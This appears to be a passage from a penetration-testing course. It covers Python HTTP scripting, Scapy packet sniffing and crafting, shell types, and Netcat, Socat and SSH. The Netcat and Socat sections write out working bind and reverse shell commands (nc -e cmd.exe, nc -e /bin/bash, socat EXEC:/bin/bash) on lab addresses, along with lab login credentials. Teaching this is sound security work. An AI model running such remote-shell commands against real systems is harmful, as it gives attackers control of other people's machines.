http = urllib3.PoolManager()
url = 'http://www.megacorpone.com'
response = http.request('GET', url)
print(response.data.decode('utf-8'))
Listing 38 - Our initial urllib3 code
Here, we create a variable called http that calls the urllib3
module, and we use the PoolManager[503] method to sort
the unordered results. The url variable is then used to call the
website we are sending an HTTP request to. We can change the url
variable to specify other domains or IP addresses.
The above script will print the output from the target website onto
the terminal, but it will display as raw HTML code. Let's go ahead and
execute the script, and pass the output to the head command
to snip it.
kali@kali:~$ python3 parse.py | head -n 20
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="utf-8">
<meta http-equiv="X-UA-Compatible" content="IE=edge">
<meta name="viewport" content="width=device-width, initial-scale=1">
<meta name="description" content="">
<meta name="author" content="">
<link rel="shortcut icon" href="assets/ico/favicon.ico">
<title>MegaCorp One - Nanotechnology Is the Future</title>
<!-- Bootstrap core CSS -->
<link href="assets/css/bootstrap.css" rel="stylesheet">
<!-- Custom styles for this template -->
<link href="assets/css/style.css" rel="stylesheet">
<link href="assets/css/font-awesome.min.css" rel="stylesheet">
Listing 39 - The first 20 lines of output
To make the data more easily readable, we can use another
module called BeautifulSoup.[504] This module takes the
raw HTML and XML files from urlopen and pulls the data to help parse
the information we have retrieved from the webpage.
We can include our new module by modifying our script as follows.
#!/usr/bin/python3
#parse.py
import urllib3
from urllib.request import urlopen
from bs4 import BeautifulSoup
url = urlopen("http://www.megacorpone.com")
page = url.read()
soup = BeautifulSoup(page, features="html.parser")
print(soup)
Listing 40 - Using the BeautifulSoup module
In the above listing, we import two libraries from urllib3 and
bs4. The urlopen library allows us to retrieve the raw data
returned by the server. The beautifulsoup library is responsible for
the actual parsing of the output.
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="utf-8"/>
<meta content="IE=edge" http-equiv="X-UA-Compatible"/>
<meta content="width=device-width, initial-scale=1" name="viewport"/>
<meta content="" name="description"/>
<meta content="" name="author"/>
<link href="assets/ico/favicon.ico" rel="shortcut icon"/>
<title>MegaCorp One - Nanotechnology Is the Future</title>
<!-- Bootstrap core CSS -->
<link href="assets/css/bootstrap.css" rel="stylesheet"/>
<!-- Custom styles for this template -->
<link href="assets/css/style.css" rel="stylesheet"/>
<link href="assets/css/font-awesome.min.css" rel="stylesheet"/>
<!-- Just for debugging purposes. Don't actually copy this line! -->
<!--[if lt IE 9]><script src="../../assets/js/ie8-responsive-file-warning.js"></script><![endif]-->
<!-- HTML5 shim and Respond.js IE8 support of HTML5 elements and media queries -->
<!--[if lt IE 9]>
Listing 41 - Our script output using BeautifulSoup
While the output of the above listing isn't any more readable than the
output provided by the original script, BeautifulSoup has many methods
we can use to narrow, sort, and display our desired text. For example,
the text method will print only the textual content of the web page.
The following exercises allow you to flex your ability to gather specific
data from a web server.
These exercises may take a little bit of extra research, so make
sure to read up on the relevant library documentation if you get
stuck.
This Learning Unit has the following Learning Objectives:
The requests module also allows us to send data to a server via a
POST[505] request. In a POST request, the data that is sent
to the server is stored in the request body of an HTTP request. This
is in contrast to a GET request, where data is sent directly via a
URL. A common use-case for POST requests employed by many websites are
web forms, such as those used when subscribing to a site.
Let's examine a script that will make a POST request and then return
the response from the server.
#!/usr/bin/python3
#web-client2.py
import requests
url = 'http://www.offensive-security.com'
info = {'check-key': 'check-value'}
post = requests.post(url, data = info)
print(post.text)
Listing 42 - Our POST request Python script
The script in the above listing POSTs a request to
www.offensive-security.com and sends the data contained
within the info variable. Once the data has been submitted, the
response will be printed out in text.
There are other HTTP methods that we can use in our Python
scripts such as PUT,[506] DELETE,[507]
HEAD,[508] and OPTIONS[509] to interact with
the web server. We encourage you to experiment with writing scripts
for each of these.
An HTTP header allows the client and server to pass additional
information in the request or the response. The header consists of
a case-insensitive name followed by a semi-colon (:), and then a
value. A request header contains detailed information about the
resource that is being queried. A response header holds additional
information about the response. For example, a response header might
include the location of the server.
One of the most important headers for us to learn about is the
Content-Type[510] header. This header is used to indicate
the original media type of the resource.
In the response, the Content-Type header tells the client what type
of content type will be displayed.
For us to identify the content type from the server, we need to send
a specific request to the server and have the response print the
output of the HTTP Headers. The following script makes a GET request
to www.offensive-security.com and prints the response's HTTP
headers.
#!/usr/bin/python3
#headers.py
import requests
url = "http://www.offensive-security.com"
response = requests.get(url)
print(response.headers)
Listing 43 - Displaying the response headers
The server will respond with the following output.
{'Server': 'Sucuri/Cloudproxy', 'Date': 'Wed, 09 Jun 2021 02:32:42 GMT', 'Content-Type': 'text/html; charset=UTF-8' , 'Content-Length': '14838', 'Connection': 'keep-alive', 'X-Sucuri-ID': '17005', 'X-XSS-Protection': '1; mode=block', 'X-Frame-Options': 'SAMEORIGIN', 'X-Content-Type-Options': 'nosniff', 'Strict-Transport-Security': 'max-age=31536000; includeSubdomains; preload', 'Content-Security-Policy': 'upgrade-insecure-requests;', 'Link': '<https://www.offensive-security.com/>; rel=shortlink', 'Vary': 'Accept-Encoding,User-Agent', 'Content-Encoding': 'gzip', 'X-Sucuri-Cache': 'HIT'}
Listing 44 - Response header output
In the above listing, the 'Content-Type': 'text/html; charset=UTF-8'
section indicates that the page will display the information in
text/html format. Keep in mind that the content-type will always change
depending on the request sent to the server.
This Learning Unit covers the following Learning Objectives:
Scapy[511] is a flexible Python-based packet manipulation
program. The purpose of using Scapy is mainly for two things: to sends
packets and receive answers.
As penetration testers, we can use Scapy to craft custom packets that
can be sent through a variety of protocols. Scripting with Scapy will
give us the ability to define a set of packets, how and when to send
them, and how to analyze the responses.
Many penetration testers use Scapy to conduct certain tasks such
as network discovery, network scanning, packet capture, and much
more. The features in Scapy can simulate some of the common tools
that we use in our engagments. Common tools that we could use to
replace with Scapy are hping,[512] arpspoof,[513]
arp-sk,[514] p0f,[515] tcpdump,[516]
tshark,[517] and even some parts of nmap.[518]
Scapy provides a variety of commands to help us analyze the packets
we are capturing. There are two ways we can use Scapy depending on
the situation we are in. We can use a terminal window or we can import
the library into a Python script. For this Learning Unit, we'll invoke
Scapy from the command line with the scapy command.
kali@kali:~$ sudo scapy
Password:
INFO: Can't import PyX. Won't be able to use psdump() or pdfdump().
aSPY//YASa
apyyyyCY//////////YCa |
sY//////YSpcs scpCY//Pp | Welcome to Scapy
ayp ayyyyyyySCP//Pp syY//C | Version 2.4.4
AYAsAYYYYYYYY///Ps cY//S |
pCCCCY//p cSSps y//Y | https://github.com/secdev/scapy
SPPPP///a pP///AC//Y |
A//A cyP////C | Have fun!
p///Ac sC///a |
P////YCpc A//A | Craft me if you can.
scccccp///pSP///p p//Y | -- IPv6 layer
sY/////////y caa S//P |
cayCyayP//Ya pY/Ya
sY/PsY////YCc aC//Yp
sc sccaCY//PCypaapyCP//YSs
spCPY//////YPSps
ccaacs
using IPython 7.20.0
>>>
Listing 45 - Launching Scapy from the command line
Let's examine some of the most common Scapy commnads.
ls(): Displays all of the protocols supported by Scapy
explore(): Displays all protocols in a clear GUI
lsc(): Displays a list of commands and functions that are supported.
conf: Displays our configuration options in Scapy
help(): Gets help on a specific Scapy command. For example, we can run help on the sniff command.
>>> help(sniff)
Help on function sniff in module scapy.sendrecv:
sniff(*args, **kwargs)
Sniff packets and return a list of packets.
Args:
count: number of packets to capture. 0 means infinity.
store: whether to store sniffed packets or discard them
prn: function to apply to each packet. If something is returned, it
is displayed.
Listing 46 - Getting help for the sniff command
Recall that packet capture usually requires elevated permissions.
Therefore we need to make sure we provide Scapy with sudo privileges
before running it, to allow it to sniff for packets.
To begin capturing packets with Scapy, we are going to use the
sniff() function to help us capture all network traffic from our
system. The sniff() function has a few parameters that we can use to
filter out the network traffic.
The iface parameter allows us to specify network interface we want
to capture packets.
The count parameter captures the supplied number of packets. If we
remove this option or set it to 0, Scapy will continue to sniff for
packets until we stop the program.
The prn parameter prints the results we are sniffing. We need to
use a call-back function name to print the results. For example,
the x:x.summary() syntax names our capture "x", and then uses the
summary() method to print out the high level results of the capture
on the terminal screen.
The filter parameter will allows us to capture only packets that are
interesting to us.
Let's apply these options, capture 10 TCP packets on the eth0
interface, and print them to the terminal window.
>>> sniff(iface="eth0", count=10, prn = lambda x: x.summary(), filter="tcp")
Ether / IP / TCP 192.168.60.200:5901 > 192.168.47.4:53910 PA / Raw
Ether / IP / TCP 192.168.60.200:5901 > 192.168.47.4:53910 PA / Raw
Ether / IP / TCP 192.168.47.4:53910 > 192.168.60.200:5901 A
Ether / IP / TCP 192.168.60.200:5901 > 192.168.47.4:53910 A / Raw
Ether / IP / TCP 192.168.60.200:5901 > 192.168.47.4:53910 PA / Raw
Ether / IP / TCP 192.168.60.200:5901 > 192.168.47.4:53910 A / Raw
Ether / IP / TCP 192.168.60.200:5901 > 192.168.47.4:53910 PA / Raw
Ether / IP / TCP 192.168.47.4:53910 > 192.168.60.200:5901 A
Ether / IP / TCP 192.168.47.4:53910 > 192.168.60.200:5901 A
Ether / IP / TCP 192.168.47.4:53910 > 192.168.60.200:5901 A
<Sniffed: TCP:10 UDP:0 ICMP:0 Other:0>
Listing 47 - Sniffing traffic with scapy
In the above listing, we have set our network interface to eth0.
If you are using the VPN to connect to the labs, make sure that you
use the correct interface name provided by the VPN connection.
We can also set a particular sniff command to a variable. Below, we
set the pkts variable to the summary of the desired capture, and
then print it out with Python's standard print function.
>>> pkts = sniff(iface="eth0", count=10, prn = lambda x: x.summary(), filter="tcp")
Ether / IP / TCP 192.168.60.200:5901 > 192.168.47.4:53910 PA / Raw
Ether / IP / TCP 192.168.60.200:5901 > 192.168.47.4:53910 PA / Raw
Ether / IP / TCP 192.168.47.4:53910 > 192.168.60.200:5901 A
Ether / IP / TCP 192.168.60.200:5901 > 192.168.47.4:53910 A / Raw
Ether / IP / TCP 192.168.60.200:5901 > 192.168.47.4:53910 PA / Raw
Ether / IP / TCP 192.168.60.200:5901 > 192.168.47.4:53910 A / Raw
Ether / IP / TCP 192.168.47.4:53910 > 192.168.60.200:5901 A
Ether / IP / TCP 192.168.47.4:53910 > 192.168.60.200:5901 A
Ether / IP / TCP 192.168.47.4:53910 > 192.168.60.200:5901 A
Ether / IP / TCP 192.168.60.200:5901 > 192.168.47.4:53910 PA / Raw
>>> print(pkts)
<Sniffed: TCP:10 UDP:0 ICMP:0 Other:0>
Listing 48 - Sniffing with a variable
To show the details of a single packet, we can use x.show() instead
of x.summary() as the value to the prn parameter.
>>> sniff(iface="eth0", count=1, prn = lambda x: x.show(), filter="tcp")
###[ Ethernet ]###
dst= 00:50:56:bf:0a:ef
src= 00:50:56:bf:5b:69
type= IPv4
###[ IP ]###
version= 4
ihl= 5
tos= 0x0
len= 7292
id= 63715
flags= DF
frag= 0
ttl= 64
proto= tcp
chksum= 0x387b
src= 192.168.60.200
dst= 192.168.47.4
\options\
###[ TCP ]###
sport= 5901
dport= 53910
seq= 1791883037
ack= 3124877518
dataofs= 8
reserved= 0
flags= PA
window= 501
chksum= 0x98c
urgptr= 0
options= [('NOP', None), ('NOP', None), ('Timestamp', (4108292854, 3224841510))]
###[ Raw ]###
load= '\x17\x03\x03@\x18\x00\x00\x00\x00\x00\x00\x1c\xf5v0\'\x10 R\xc1\xe2\xe4\xdf~\x95M\x96K
...
Listing 49 - Displaying the details of a packet
To save the packets we collected, we can use the wrpcap command to
save the information into a .pcap file.
>>> pkts = sniff(iface="eth0", count=10, prn = lambda x: x.summary(), filter="tcp")
Ether / IP / TCP 192.168.60.200:5901 > 192.168.47.4:53910 PA / Raw
Ether / IP / TCP 192.168.60.200:5901 > 192.168.47.4:53910 PA / Raw
Ether / IP / TCP 192.168.47.4:53910 > 192.168.60.200:5901 A
Ether / IP / TCP 192.168.60.200:5901 > 192.168.47.4:53910 A / Raw
Ether / IP / TCP 192.168.60.200:5901 > 192.168.47.4:53910 PA / Raw
Ether / IP / TCP 192.168.60.200:5901 > 192.168.47.4:53910 A / Raw
Ether / IP / TCP 192.168.60.200:5901 > 192.168.47.4:53910 PA / Raw
Ether / IP / TCP 192.168.47.4:53910 > 192.168.60.200:5901 A
Ether / IP / TCP 192.168.47.4:53910 > 192.168.60.200:5901 A
Ether / IP / TCP 192.168.60.200:5901 > 192.168.47.4:53910 PA / Raw
>>> wrpcap('sniffed.pcap', pkts)
Listing 50 - Saving the packets
This will allow us to use tools such as tcpdump or Wireshark
to further analyze the network traffic that was saved into the
.pcap file from Scapy.
kali@kali:~$ sudo tcpdump -r sniffed.pcap
reading from file sniffed.pcap, link-type EN10MB (Ethernet), snapshot length 65535
12:15:35.367793 IP 192.168.60.200.5901 > 192.168.47.4.53910: Flags [P.], seq 1806351782:1806359022, ack 3124922719, win 501, options [nop,nop,TS val 4109078037 ecr 3225626688], length 7240
12:15:35.367815 IP 192.168.60.200.5901 > 192.168.47.4.53910: Flags [P.], seq 7240:14480, ack 1, win 501, options [nop,nop,TS val 4109078037 ecr 3225626688], length 7240
12:15:35.368652 IP 192.168.47.4.53910 > 192.168.60.200.5901: Flags [.], ack 14480, win 4121, options [nop,nop,TS val 3225626737 ecr 4109078037], length 0
12:15:35.368667 IP 192.168.60.200.5901 > 192.168.47.4.53910: Flags [.], seq 14480:15928, ack 1, win 501, options [nop,nop,TS val 4109078037 ecr 3225626737], length 1448
12:15:35.370214 IP 192.168.60.200.5901 > 192.168.47.4.53910: Flags [P.], seq 15928:30408, ack 1, win 501, options [nop,nop,TS val 4109078039 ecr 3225626737], length 14480
12:15:35.370227 IP 192.168.60.200.5901 > 192.168.47.4.53910: Flags [.], seq 30408:31856, ack 1, win 501, options [nop,nop,TS val 4109078039 ecr 3225626737], length 1448
12:15:35.370384 IP 192.168.60.200.5901 > 192.168.47.4.53910: Flags [P.], seq 31856:40544, ack 1, win 501, options [nop,nop,TS val 4109078039 ecr 3225626737], length 8688
12:15:35.370989 IP 192.168.47.4.53910 > 192.168.60.200.5901: Flags [.], ack 30408, win 4121, options [nop,nop,TS val 3225626740 ecr 4109078037], length 0
12:15:35.371060 IP 192.168.47.4.53910 > 192.168.60.200.5901: Flags [.], ack 40544, win 4068, options [nop,nop,TS val 3225626740 ecr 4109078039], length 0
12:15:35.378232 IP 192.168.60.200.5901 > 192.168.47.4.53910: Flags [P.], seq 40544:56472, ack 1, win 501, options [nop,nop,TS val 4109078047 ecr 3225626740], length 15928
Listing 51 - Analyzing the traffic
Scapy can also be used to send and receive packets. Depending on the
packet or group of packets we want to send to a target, we should
expect a response back. Scapy has a few different types of send and
receive methods.
send
sr
To send a packet to our target we first need to create the packet.
To create the packet we will use the following syntax:
>>> packet = IP (dst = "offensive-security.com")
Listing 52 - Creating a packet
With the above command, we have created an IP packet that will be sent
to www.offensive-security.com. Let's make our packet slightly
more sophisticated.
>>> packet = IP (dst = "offensive-security.com")/ICMP()/"Ping Offsec"
Listing 53 - Improving our packet
This additional syntax creates a packet that will be sent to the IP
Layer and it will specifically be going through the ICMP protocol.
A raw payload is included to make sure the destination receives the
message we included. To verify the information and options we set,
we run the following.
>>> packet.show
<bound method Packet.show of <IP frag=0 proto=icmp dst=Net('offensive-security.com') |<ICMP |<Raw load='Ping Offsec' |>>>>
Listing 54 - Reviewing the packet contents
This command will display the information contained in the packet.
Once we have verified our options for the packet, we can now send it
to our target.
>>> send(packet)
.
Sent 1 packets.
Listing 55 - Sending the packet
In the above listing, we receive a response from Scapy that the packet
has been sent. However, if we want to view the output of the response,
we need to use another terminal window to catch the packet.
Let's continue to use Scapy to capture the packet response by using
the following syntax in a new terminal window.
>>> capture=sniff(filter="icmp", iface="eth0", count=2, prn=lambda x:x.summary())
Listing 56 - Capturing the packet
Then, we can resend the packet with send(packet) in the
original terminal. Our listening terminal will produce the following
output.
>>> capture=sniff(filter="icmp", iface="eth0", count=2, prn=lambda x:x.summary())
Ether / IP / ICMP 192.168.60.200 > 192.124.249.5 echo-request 0 / Raw
Listing 57 - Receiving the packet
A spoofed packet disguises its source IP address, so that the
receiver believes that the packet originates from a different source.
Packet spoofing can be used by attackers to misrepresent where they
are, or to impersonate other users.
Earlier, we introduced the sr() send and response method. Using
this method is almost the same as using send(). The only difference
between using send() and sr() is that we will be able to receive a
response immediately with sr(), instead of opening up a new capture.
We'll modify our previous syntax to utilize the sr() method.
>>> packet = IP (dst="offensive-security.com")/ICMP()/"Hello Offsec"
>>> sr(packet)
Begin emission:
Finished sending 1 packets.
........................................................^c
Received 186 packets, got 0 answers, remaining 1 packets
(<Results: TCP:0 UDP:0 ICMP:0 Other:0>,
<Unanswered: TCP:0 UDP:0 ICMP:1 Other:0>)
Listing 58 - Using sr() to send and receive a packet
Scapy was able to finish sending the packet and it was able to
obtain 186 packets until it exited when we manually sent an interrupt
(ctrl-c).
The following exercises will test your Scapy skills. There is a server
running on the target VM on port 9876. The server is listening for
packets coming from Scapy. When it is provided with the correct
inputs, it will write a flag onto the target's file system.
To access the file system, use the sftp command with 'sftp
offensive@TARGET-IP'. The password to logon is 'security'. Once you
are connected, use cd to move into the file-transfers directory.
In another terminal, run Scapy with elevated permissions and then complete
each exercise below. For each exercise, after you have
sent the correct input via scapy, run ls on the target server to
retrieve the corresponding flag and enter it as your answer.
In this Topic, we will cover the following Learning Units:
Each learner moves at their own pace, but this Topic should take
approximately 10 hours to complete.
There is a wide variety of shells used by all types of consumers. Some
shells are ideal for Windows users, while others are ideal for macOS
power users. Because shells are used constantly in the information
security field, understanding what they are, how they're used, and how
to generate our own shells is a very important skill. While this Topic
will focus on the attacker's perspective, defenders will be able to
identify patterns and characteristics here as well.
This Topic will cover what shells are, the kinds of shells used in
remote connections, Windows-specific shells, and how we can generate
our own custom shells.
This Learning Unit covers the following Learning Objectives:
This Learning Unit will take approximately 15 minutes to complete.
Before we work with shells, we need to understand what a shell is.
We'll start by covering the concept, identifying common shells, and
then reviewing two types of remote shells (bind and reverse).
A shell[519] is the user interface of a system. This can
either be a Command Line Interface (CLI),[520] which is a user
interface that only allows typing, or a Graphical User Interface
(GUI),[521] a user interface that has visual windows and can
interface with a mouse. Regardless of which interface a system uses,
it is known as a shell. It is the outermost layer of the computer
system that a user can interact with.
There are a variety of shells that can be used on a computer,
depending on the system. We'll simplify this with a description of
some common Windows and 'Nix[522] shells.
Common shells used on the Windows operating systems[523] are the
command prompt, CMD[524] and PowerShell.[525] The command
prompt is a terminal[526] that allows users to type commands
to manipulate the system. It was created before Windows 95 but is
retained as an available option in newer versions. However, the
CMD terminal's limitations led to the creation of another terminal
with a CLI that is now included in all
current Windows operating systems: PowerShell. Powershell's extensive
functionality allows for complete control of a Windows system.
There are many 'Nix terminals available on the Linux side, so we'll
only highlight some of the most common shells.
The first shell available on 'Nix systems was sh,[527] called the
Bourne Shell. The Bourne Again Shell, or bash,[206-1] followed after
and became one of the most commonly used shells to date.
Less common shells are the tcsh,[528] which is backward-compatible
with the csh[529] shell and found on BSD-based[530] systems.
Because the C Shell (csh) style of language resembles the C
programming language, it was considered more readable at the
time of its creation. Finally, the Korn Shell ksh[531] is both
backward-compatible with csh and bash.
Recently, the Z Shell (zsh)[532] was incorporated as the default
shell on Kali. This is an extended sh shell and contains features
from bash, csh, and tcsh.
This may be trivial to regular users, but as a security professional,
knowledge of different shells is vital for identifying what type of
shell environment a system runs.
Now that we covered some system shells, let's move on to
Netcat[404-1] shells.
This Learning Unit covers the following Learning Objectives:
This Learning Unit will take approximately 285 minutes to complete.
After covering Netcat, we'll examine Socat and SSH connections and be
able to put this knowledge into practice in the exercises sections.
Netcat,[404-2] first released in 1995 by *Hobbit*, is one of
the "original" network penetration testing tools and is so versatile
that it lives up to the author's designation as a hacker's "Swiss
army knife". The clearest definition of Netcat is from *Hobbit*
himself: "a simple utility which reads and writes data across network
connections, using TCP or UDP protocols."[405-1]
As mentioned earlier, Netcat can run in either client or
server mode. Let's review the client mode first.
We can use client mode to connect to any TCP/UDP port, which allows us to:
To better understand how to use Netcat, let's quickly demonstrate how
it works. We'll begin by running nc to check if TCP port
110 (the POP3 mail service) is open on a lab machine. We will supply
several arguments: -n to skip DNS name resolution, -v to add
some verbosity, the destination IP address, and the destination port
number.
kali@kali:~$ nc -nv 10.11.0.22 110
(UNKNOWN) [10.11.0.22] 110 (pop3) open
+OK POP3 server lab ready <00003.1277944@lab>
Listing 1 - Using nc to connect to a TCP port
Listing 1 tells us several things. First, the TCP connection
to 10.11.0.22 on port 110 (10.11.0.22:110 in standard nomenclature),
succeeded, so Netcat reports the remote port as open. Next, the server
responded to our connection by "talking back to us", printing out the
server welcome message, and waits for the login string from us. This
is standard behavior for POP3 services.
Now, let's try to interact with the server:
kali@kali:~$ nc -nv 10.11.0.22 110
(UNKNOWN) [10.11.0.22] 110 (pop3) open
+OK POP3 server lab ready <00004.1546827@lab>
USER offsec
+OK offsec welcome here
PASS offsec
-ERR unable to lock mailbox
quit
+OK POP3 server lab signing off.
Listing 2 - Using nc to connect to a POP3 service
Great! We have successfully used Netcat to communicate with the POP3
service (even though our log in attempt failed).
Listening on a TCP/UDP port using Netcat is useful for network
debugging of client applications or receiving a TCP/UDP network
connection. Let's examine the implementation of a simple chat service
involving two machines. We will use Netcat both as a client and as a
server in this demo.
Let's take a Windows machine with IP address 10.11.0.22 and set up
Netcat to listen for incoming connections on TCP port 4444. We'll
use the -n to disable DNS name resolution, -l to create a
listener, -v to add some verbosity, and -p to specify the
listening port number.
C:\Users\offsec> nc -nlvp 4444
listening on [any] 4444 ...
Listing 3 - Using nc to set up a listener
Now that we've bound port 4444 to Netcat on the Windows machine,
let's connect to that port from a Linux machine.
kali@kali:~$ nc -nv 10.11.0.22 4444
(UNKNOWN) [10.11.0.22] 4444 (?) open
Listing 4 - Using nc to connect to a listener
Once connected, we'll enter a line of text.
This chat is from the linux machine
Listing 5 - Sending our chat message
Our text will be sent to the Windows machine over TCP port 4444 and we
can continue the "chat" from the Windows machine.
C:\Users\offsec> nc -nlvp 4444
listening on [any] 4444 ...
connect to [10.11.0.22] from <UNKNOWN) [10.11.0.4] 43447
This chat is from the linux machine
This chat is from the windows machine
Listing 6 - Simple Netcat chat
Although this isn't a very exciting example, it demonstrates several
important features in Netcat. Try to answer these important questions
before proceeding.
One of Netcat's most useful features is command redirection.
The Netcat-traditional version of Netcat (compiled with the
"-DGAPING_SECURITY_HOLE" flag) enables the -e option, which
executes a program after making or receiving a successful connection.
From a security perspective, this powerful feature created numerous
possibilities and is therefore not available on most modern Linux/BSD
systems. However, because Kali Linux is a penetration testing
distribution, the Netcat version included in Kali supports the -e
option.
When enabled, this option redirects the input, output, and error
messages of an executable to a TCP/UDP port rather than the default
console.
For example, consider the cmd.exe executable. By redirecting
stdin, stdout, and stderr to the network, we can bind
cmd.exe to a local port. Anyone connecting to this port will
be presented with a command prompt on the target computer.
To clarify this, let's run through a few more scenarios involving Bob
and Alice.
In our first scenario, Bob (running Windows) has requested Alice's
assistance (who is running Linux) and has asked her to connect to his
computer and issue some commands remotely. Bob has a public IP address
and is directly connected to the Internet. Alice, however, is behind
a NATed connection and has an internal IP address. To complete the
scenario, Bob needs to bind cmd.exe to a TCP port on his public IP
address and ask Alice to connect specifically to his IP address and
port.
Bob will check his local IP address then run Netcat with the
-e option to execute cmd.exe once a connection is
made to the listening port.
C:\Users\offsec> ipconfig
Windows IP Configuration
Ethernet adapter Local Area Connection:
Connection-specific DNS Suffix . :
IPv4 Address. . . . . . . . . . . : 10.11.0.22
Subnet Mask . . . . . . . . . . . : 255.255.0.0
Default Gateway . . . . . . . . . : 10.11.0.1
C:\Users\offsec> nc -nlvp 4444 -e cmd.exe
listening on [any] 4444 ...
Listing 7 - Using nc to set up a bind shell
Now Netcat has bound the TCP port 4444 to cmd.exe and will redirect
any input, output, or error messages from cmd.exe to the network.
kali@kali:~$ ip address show eth0 | grep inet
inet 10.11.0.4/16 brd 10.11.255.255 scope global dynamic eth0
kali@kali:~$ nc -nv 10.11.0.22 4444
(UNKNOWN) [10.11.0.22] 4444 (?) open
Microsoft Windows [Version 10.0.17134.590]
(c) 2018 Microsoft Corporation. All rights reserved.
C:\Users\offsec> ipconfig
Windows IP Configuration
Ethernet adapter Local Area Connection:
Connection-specific DNS Suffix . :
IPv4 Address. . . . . . . . . . . : 10.11.0.22
Subnet Mask . . . . . . . . . . . : 255.255.0.0
Default Gateway . . . . . . . . . : 10.11.0.1
Listing 8 - Using nc to connect to a bind shell
In other words, anyone connecting to TCP port 4444 on Bob's machine
(hopefully Alice) will be presented with Bob's command prompt. This is
indeed a "gaping security hole"!
We can conclude this works just as expected. The image below depicts
this scenario.
In our second scenario, Alice needs help from Bob. However, because
Alice has no control over the router in her office, she cannot forward
traffic from the router to her internal machine.
In this case, we can leverage another useful feature of Netcat: the
ability to send a command shell to a host listening on a specific
port. Although Alice cannot bind a port to /bin/bash locally on
her computer and expect Bob to connect, she can send control of her
command prompt to Bob's machine instead. This is known as a reverse
shell. To get this working, Bob will first set up Netcat to listen
for an incoming shell. We will use port 4444.
C:\Users\offsec> nc -nlvp 4444
listening on [any] 4444 ...
Listing 9 - Using nc to set up a listener in
order to receive a reverse shell
Now, Alice can send a reverse shell from her Linux machine to
Bob. Once again, we'll use the -e option to make an
application available remotely. This time, that application is
/bin/bash, the Linux shell.
kali@kali:~$ ip address show eth0 | grep inet
inet 10.11.0.4/16 brd 10.11.255.255 scope global dynamic eth0
kali@kali:~$ nc -nv 10.11.0.22 4444 -e /bin/bash
(UNKNOWN) [10.11.0.22] 4444 (?) open
Listing 10 - Using nc to send a reverse shell
Once the connection is established, Alice's Netcat will have
redirected /bin/bash input, output, and error data streams to
Bob's machine on port 4444 and Bob can interact with that shell.
C:\Users\offsec>nc -nlvp 4444
listening on [any] 4444 ...
connect to [10.11.0.22] from <UNKNOWN) [10.11.0.4] 43482
ip address show eth0 | grep inet
inet 10.11.0.4/16 brd 10.11.255.255 scope global dynamic eth0
Listing 11 - Using nc to receive a reverse shell
The image below depicts the reverse shell scenario where Bob gets
remote shell access on Alice's Linux machine, traversing the corporate
firewall.
Let's take some time to consider the differences between bind and
reverse shells and how these differences apply to various firewall
configurations from an organizational security standpoint. It is
important to realize that outgoing traffic can be just as harmful as
incoming traffic.
It's not uncommon for host-based firewalls to block access to bind
shells. This can be incredibly frustrating at times, especially when
under pressure and dealing with time constraints. When in doubt,
we can still use a reverse shell as they are typically easier to
troubleshoot.
Socat[407-1] is a command-line utility that establishes two
bidirectional byte streams and transfers data between them. It is
similar to Netcat, but has additional useful features.
While there are a multitude of things that Socat can do, we'll only be
covering a few of them for now. Let's begin exploring Socat and how it
compares to Netcat.
First, let's examine a connection to a remote server on port 80 using
both Netcat and Socat.
kali@kali:~$ nc <remote server's ip address> 80
...
kali@kali:~$ socat - TCP4:<remote server's ip address>:80
...
Listing 12 - Using socat to connect to a remote
server on port 80, and comparing its syntax with nc's
Note that the syntax is similar, but Socat requires the hyphen (-) to
transfer data between STDIO and the remote host (allowing our
keyboard interaction with the shell) and the protocol, TCP4. The
protocol, options, and port number are colon-delimited.
Now, let's create a listener. If the port is below 1024, root
privileges are required. We can use sudo to start a listener on
port 443.
kali@kali:~$ sudo nc -lvp localhost 443
...
kali@kali:~$ sudo socat TCP4-LISTEN:443 STDOUT
...
Listing 13 - Using socat to
create a listener, and comparing its syntax with nc's
Notice the required addition of both the protocol for the listener
TCP4-LISTEN, and the STDOUT argument, which redirects
standard output.
Now, let's examine a reverse shell using Socat. First, Bob will start a
listener on port 443. To do this, he will supply the -d -d
option to increase verbosity (showing fatal, error, warning, and
notice messages), TCP4-LISTEN:443 to create an IPv4 listener
on port 443, and STDOUT to connect the standard output
(STDOUT) to the TCP socket.
C:\Users\offsec> socat -d -d TCP4-LISTEN:443 STDOUT
... socat[4388] N listening on AF=2 0.0.0.0:443
Listing 14 - Using socat to create a
listener
Next, Alice will use Socat's EXEC option (similar to the
Netcat -e option), which will execute the given program once
a remote connection is established. In this case, Alice will send
a reverse shell (with EXEC:/bin/bash) to Bob's
listening socket on 10.11.0.22:443.
kali@kali:~$ socat TCP4:10.11.0.22:443 EXEC:/bin/bash
Listing 15 - Using socat to send a reverse shell
Once connected, Bob can enter commands from his Socat session, which
will execute on Alice's machine.
... socat[4388] N accepting connection from AF=2 10.11.0.4:54720 on 10.11.0.22:443
... socat[4388] N using stdout for reading and writing
... socat[4388] N starting data transfer loop with FDs [4,4] and [1,1]
whoami
kali
id
uid=1000(kali) gid=1000(kali) groups=1000(kali)
Listing 16 - socat output from a
connected reverse shell
Socat has a lot more functionality and is definitely worth spending
time exploring. Here we gently touched upon reverse shells.
Remotely accessing other hosts is an incredibly important skill for
any information technology professional working on a network, and
understanding how to use a tool to do this securely is imperative
from a business perspective. We will cover how to securely access
resources, transfer files, and certain risks through an automated
process.
In this section, we'll use a hands-on approach to examine some common
Linux clients. Before we can connect to the client, however, we'll
need to discuss the SSH utility.
Secure Shell (SSH)[18-2] is a client/server protocol that allows
for secure communications between two hosts. This communication is
encrypted over the network, while telnet[394-1] (another similar
client utility) communication is not. SSH is commonly used to gain
remote access to another host to either use or administer it. SSH
works on TCP port 22 by default. It is a protocol that requires a form
of authentication, whether that be a standard username/password or a
public/private key. Let's begin examining the general usage of SSH.
For you to be able to follow along, start a local SSH server on
the Kali host. Your output will differ slightly from what is shown.
kali@kali:~$ sudo systemctl start ssh
[sudo] password for kali:
kali@kali:~$ sudo systemctl status ssh
● ssh.service - OpenBSD Secure Shell server
Loaded: loaded (/lib/systemd/system/ssh.service; disabled; vendor preset: disabled)
Active: active (running) since Mon 2021-07-12 06:59:17 MST; 8s ago
Docs: man:sshd(8)
man:sshd_config(5)
Process: 1327 ExecStartPre=/usr/sbin/sshd -t (code=exited, status=0/SUCCESS)
Main PID: 1328 (sshd)
Tasks: 1 (limit: 4631)
Memory: 2.0M
CPU: 19ms
CGroup: /system.slice/ssh.service
└─1328 sshd: /usr/sbin/sshd -D [listener] 0 of 10-100 startups
